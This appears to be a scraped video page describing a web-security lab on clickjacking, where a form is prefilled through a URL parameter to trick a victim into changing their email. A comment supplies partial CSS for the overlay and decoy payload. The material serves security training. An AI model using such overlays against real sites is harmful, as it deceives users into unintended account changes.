Lab: Clickjacking with form input data prefilled from a URL parameter

preview_player
Показать описание
This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection. The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: wiener:peter
Рекомендации по теме
Комментарии
Автор

<style>
#target_website {
position: relative;
width: 300px;
height: 600px;
opacity: 0.5;
z-index: 2;
border: none;
}
#decoy_website {
position: absolute;
top: 480px;
left: 125px;
z-index: 1;
}
</style>
<div id="decoy_website">Click me</div>

vxqwnduspmjtw